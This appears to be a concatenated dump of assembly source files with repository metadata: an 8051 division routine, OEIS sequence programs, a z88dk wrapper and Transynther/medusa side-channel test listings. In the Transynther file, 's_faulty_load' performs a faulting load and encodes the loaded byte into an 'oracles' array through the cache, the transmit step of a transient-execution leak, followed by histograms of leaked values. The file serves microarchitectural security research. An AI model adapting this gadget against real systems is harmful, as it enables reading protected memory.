{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'32': 18406}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 35.407035
| 2,999
| 0.657394
|
a3585eabe858c10eaeb60129e8373a08da540993
| 418
|
asm
|
Assembly
|
8051/14arith/div.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | 1
|
2022-01-01T11:27:43.000Z
|
2022-01-01T11:27:43.000Z
|
8051/14arith/div.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | null | null | null |
8051/14arith/div.asm
|
iamvk1437k/mpmc
|
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
|
[
"MIT"
] | null | null | null |
MOV A,#05 ;Move 1st data in accumulator
MOV B,#05 ;Move 2nd data in accumulator
DIV AB ;Divide content of A by B
MOV dptr,#4150 ;Load the address of data pointer
MOVX @dptr,A ;Store quotient in memory
INC dptr ;Increment data pointer
MOV A,B ;Move content of B to A
MOVX @dptr,A ;Store remainder in memory
HERE:SJMP HERE ;Stop the program
| 46.444444
| 53
| 0.617225
|
0dce56288e7e773c29bbaedc6a089514a124568d
| 3,699
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1779.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
// Faulty Load
lea addresses_A+0x1ccd3, %r13
and $31115, %r10
movb (%r13), %cl
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 0}}
<gen_prepare_buffer>
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
| 88.071429
| 2,999
| 0.663152
|
0d53e9d84a98677c320fbd335657063329f6dc08
| 449
|
asm
|
Assembly
|
oeis/077/A077887.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/077/A077887.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/077/A077887.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A077887: Expansion of (1-x)^(-1)/(1+x^2-2*x^3).
; Submitted by Jamie Morken(s4)
; 1,1,0,2,3,-1,2,8,-3,-3,20,-2,-25,43,22,-92,65,137,-248,-6,523,-489,-534,1536,-443,-2603,3516,1718,-8721,5315,12158,-22756,-1527,47073,-43984,-50126,138131,-37841,-238382,314104,162701,-790867,465508,1116270,-2047241,-185253,4279782,-3909228
add $0,1
lpb $0
sub $0,1
mov $3,$2
add $4,1
add $1,$4
mov $2,$4
mul $2,2
add $3,$2
sub $4,$3
lpe
mov $0,$1
| 26.411765
| 242
| 0.619154
|
5858d9e17f8b3033d0c2cd78abbcd8d0f7b37fd0
| 7,805
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2208.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2208.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2208.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1c96a, %rdx
nop
nop
cmp $49322, %rax
vmovups (%rdx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rbp
lfence
lea addresses_UC_ht+0x1a6ea, %rbp
nop
nop
sub %rdi, %rdi
vmovups (%rbp), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %r15
and %rdx, %rdx
lea addresses_WT_ht+0x16902, %rsi
lea addresses_D_ht+0x1d4ea, %rdi
nop
dec %r9
mov $17, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %r15
lea addresses_D_ht+0x4cca, %rsi
lea addresses_UC_ht+0x19b6a, %rdi
nop
nop
nop
nop
and %rbp, %rbp
mov $118, %rcx
rep movsq
inc %rax
lea addresses_normal_ht+0x136, %r9
clflush (%r9)
nop
nop
add %rdi, %rdi
mov (%r9), %bp
nop
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x56a, %r15
nop
sub %rax, %rax
movl $0x61626364, (%r15)
nop
nop
nop
nop
nop
dec %rdi
lea addresses_normal_ht+0x1ed6a, %rsi
cmp $10304, %rbp
mov $0x6162636465666768, %rcx
movq %rcx, (%rsi)
nop
nop
nop
nop
nop
cmp $8088, %rcx
lea addresses_normal_ht+0x3c52, %rsi
lea addresses_D_ht+0xf46a, %rdi
nop
xor $9452, %rax
mov $19, %rcx
rep movsl
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x3e6a, %rax
nop
nop
nop
add %rbp, %rbp
movups (%rax), %xmm0
vpextrq $1, %xmm0, %rsi
nop
nop
nop
nop
add $10551, %rdi
lea addresses_WC_ht+0xf76a, %rsi
lea addresses_D_ht+0x516a, %rdi
clflush (%rdi)
nop
cmp %rax, %rax
mov $81, %rcx
rep movsw
and $50677, %rsi
lea addresses_normal_ht+0x496a, %rsi
lea addresses_WC_ht+0xf56a, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %r15, %r15
mov $77, %rcx
rep movsb
nop
nop
nop
xor %r15, %r15
lea addresses_WC_ht+0x556a, %rax
nop
nop
xor $63936, %rbp
movups (%rax), %xmm2
vpextrq $0, %xmm2, %rdx
nop
xor $38195, %rdx
lea addresses_D_ht+0xd26a, %rsi
lea addresses_WC_ht+0xc16a, %rdi
nop
nop
nop
nop
nop
sub $16846, %rdx
mov $17, %rcx
rep movsq
nop
nop
nop
dec %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rdi
push %rdx
// Store
mov $0xd6a, %rdi
nop
nop
nop
sub %r13, %r13
movb $0x51, (%rdi)
nop
nop
nop
nop
nop
add %rax, %rax
// Faulty Load
mov $0xd6a, %rax
nop
nop
nop
nop
nop
cmp $45615, %r8
vmovntdqa (%rax), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rbx
lea oracles, %r12
and $0xff, %rbx
shlq $12, %rbx
mov (%r12,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_P', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'47': 27, 'aa': 2, '7d': 1, '48': 1, '46': 12566, '00': 8923, 'a9': 1, 'ff': 1, '45': 284, '06': 2, '08': 21}
46 46 00 46 46 00 46 45 00 00 46 46 00 46 46 46 00 46 46 46 46 00 00 00 46 46 46 00 46 46 00 46 46 45 00 46 46 00 46 46 00 46 46 00 46 00 00 00 46 46 00 00 46 46 00 00 46 46 00 00 46 00 46 46 00 00 46 46 46 46 46 46 00 46 46 00 46 45 46 00 00 46 00 00 00 00 00 46 46 46 46 46 46 00 46 00 00 46 00 46 00 00 00 00 00 00 46 46 00 00 00 46 46 46 46 00 46 00 00 46 00 46 46 46 45 46 00 45 00 00 46 45 46 00 46 46 00 46 46 46 00 46 08 46 00 46 46 46 00 46 00 46 46 00 46 46 00 46 46 00 00 46 46 46 00 46 00 00 46 00 00 46 45 00 00 46 00 00 46 46 00 46 46 46 46 00 46 46 46 00 46 46 46 46 46 46 46 00 46 46 46 46 00 00 00 00 46 46 46 00 00 00 46 46 46 00 00 00 46 46 00 00 46 00 46 46 00 46 00 46 00 46 46 46 46 46 46 46 46 00 46 00 46 00 46 00 46 46 46 46 46 46 46 46 00 46 46 00 00 00 46 00 46 00 00 00 00 46 00 46 00 46 00 46 00 00 00 46 00 00 46 46 46 46 46 00 00 46 46 00 00 46 46 00 46 00 00 46 00 46 00 46 00 46 46 46 46 46 46 00 46 00 46 46 00 00 46 46 00 00 46 46 46 00 00 46 46 00 46 46 46 00 00 00 00 00 00 46 46 00 46 00 46 00 46 00 46 46 46 00 46 00 46 00 46 46 46 00 46 46 46 46 46 46 46 00 46 46 45 46 46 46 00 46 46 46 00 46 00 46 00 00 00 46 46 46 46 46 46 46 46 46 46 00 46 00 00 46 46 00 46 46 46 00 00 46 00 00 46 46 00 46 46 00 46 00 46 00 00 46 00 00 46 46 46 00 00 46 46 46 00 46 46 46 46 46 45 00 00 46 00 00 00 47 46 00 45 00 46 46 46 00 46 46 46 46 00 46 46 46 46 00 46 46 00 46 46 00 46 46 46 46 46 46 46 00 46 00 46 46 46 46 00 46 00 00 00 46 00 46 46 00 46 00 00 46 00 00 00 00 00 46 46 00 00 46 00 00 00 00 46 46 46 46 00 46 46 46 00 00 00 00 46 46 46 00 46 46 46 00 00 46 46 00 00 00 00 45 00 00 00 46 00 46 46 00 00 46 00 46 00 46 00 46 46 46 00 46 46 00 00 46 46 00 00 46 00 46 46 00 46 46 46 00 00 46 00 00 00 46 46 46 00 46 00 00 46 46 46 00 00 46 00 00 46 00 00 46 46 46 46 46 00 46 45 00 46 46 46 00 00 46 46 46 46 00 46 46 46 46 46 46 00 46 46 00 00 00 46 00 45 46 00 46 46 00 00 46 46 46 00 00 46 46 00 46 46 46 00 46 00 46 00 00 46 46 46 46 46 00 00 00 00 46 46 00 46 00 46 46 00 00 00 46 46 00 46 46 46 46 00 00 00 46 46 46 00 46 00 00 46 46 00 46 00 00 46 46 00 46 46 46 00 00 46 46 00 00 00 46 46 46 46 46 46 46 00 46 46 00 45 46 46 00 46 46 46 46 00 46 45 46 00 46 46 46 00 00 00 46 46 00 00 46 00 46 46 00 00 00 46 46 00 46 00 00 46 00 46 00 00 46 47 46 46 00 46 00 00 46 00 46 00 00 46 00 46 46 00 00 46 46 00 46 46 46 00 46 46 00 00 46 46 00 00 46 46 46 00 46 00 00 00 46 00 00 00 00 00 00 46 46 00 46 00 00 00 46 00 46 00 00 46 46 46 46 46 46 46 00 00 46 46 00 46 46 46 00 46 46 00 46 46 46 00 00 46 00 00 00 46 46 46 00 46 46 00 00 00 00 00 00 00 46 46 46 46 00 00 46 46 00 00 00 00 46 46 46 46 00 00 46 00 46 00 00 00 46 00 46 00 00 00 00 46 46 46 46 45 00 00 46 46 00 46 46 00 00 46 46 00 46 00 46 46 46 46 46 46 00 46 46 45 46 46 46 46 46 46 46 46 00 00 46 46 45 46 46 46 46 00 46 00 46 00 46 46 46 00 00 00 45 46 46 00 00 46 00 46 00 46 46 46 00 00 46 00 46 46 46 46 00 00 46 00 46 46 46 46 00 00 46 46 00 46 46 46 00 46 46 00 00 46 00 46 46 46 00 46 46
*/
| 34.082969
| 2,999
| 0.654837
|
70d0d5857b467f3a26d1f3d5e74bacb515972e72
| 659
|
asm
|
Assembly
|
oeis/053/A053404.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/053/A053404.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/053/A053404.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A053404: Expansion of 1/((1+3*x)*(1-4*x)).
; Submitted by Jon Maiga
; 1,1,13,25,181,481,2653,8425,40261,141361,624493,2320825,9814741,37664641,155441533,607417225,2472715621,9761722321,39434309773,156574977625,629786694901,2508686426401,10066126765213,40170363882025,160963885064581,643008251648881,2574574872423853,10290673892210425,41185572361296661,164673659067821761,658900527403381693,2634984436217242825,10541790765057823141,42161603999664737041,168663093180358614733,674602341176335459225,2698559459340638836021,10793787553456664346721,43176501065544330378973
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,12
mul $1,$2
lpe
mov $0,$3
| 47.071429
| 498
| 0.827011
|
9b520bdcfcdb779632f33dd2feb2b4dada9f323d
| 666
|
asm
|
Assembly
|
oeis/099/A099025.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/099/A099025.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/099/A099025.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A099025: Expansion of 1 / ((1+x) * (1-5*x+x^2)).
; 1,4,20,95,456,2184,10465,50140,240236,1151039,5514960,26423760,126603841,606595444,2906373380,13925271455,66719983896,319674648024,1531653256225,7338591633100,35161304909276,168467932913279,807178359657120,3867423865372320,18529940967204481,88782280970650084,425381463886045940,2038125038459579615,9765243728411852136,46788093603599681064,224175224289586553185,1074088027844333084860,5146264914932078871116,24657236546816061270719,118139917819148227482480,566042352548925076141680
lpb $0
mov $2,$0
sub $0,1
seq $2,5386 ; Area of n-th triple of squares around a triangle.
add $1,$2
lpe
add $1,1
mov $0,$1
| 55.5
| 482
| 0.825826
|
811afdcb0834959e04370ffb1a76e6a99b342bd6
| 422
|
asm
|
Assembly
|
oeis/186/A186681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/186/A186681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/186/A186681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A186681: Total number of n-digit numbers requiring 17 positive biquadrates in their representation as sum of biquadrates.
; Submitted by Jon Maiga
; 0,3,30,30,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mul $0,2
mov $2,$0
mov $0,1
mov $1,6
sub $2,2
bin $0,$2
bin $1,$2
add $0,$1
add $1,$0
mov $0,$1
| 28.133333
| 175
| 0.613744
|
ae35976af79e7dac0f60849392b699cf6b94bd1f
| 445
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/env/esxdos/c/sdcc_iy/env_getenv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/env/esxdos/c/sdcc_iy/env_getenv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/env/esxdos/c/sdcc_iy/env_getenv.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; char *env_getenv(unsigned char handle,const char *name,char *val,unsigned int valsz,void *buf,unsigned int bufsz)
SECTION code_env
PUBLIC _env_getenv
EXTERN l0_env_getenv_callee
_env_getenv:
pop af
dec sp
pop de
ld e,d
exx
pop hl
pop de
pop bc
exx
pop hl
pop bc
push bc
push hl
exx
push bc
push de
push hl
exx
push de
inc sp
push af
exx
jp l0_env_getenv_callee
| 12.361111
| 115
| 0.647191
|
888641080917b2876884dc4da8255c30076a0838
| 5,676
|
asm
|
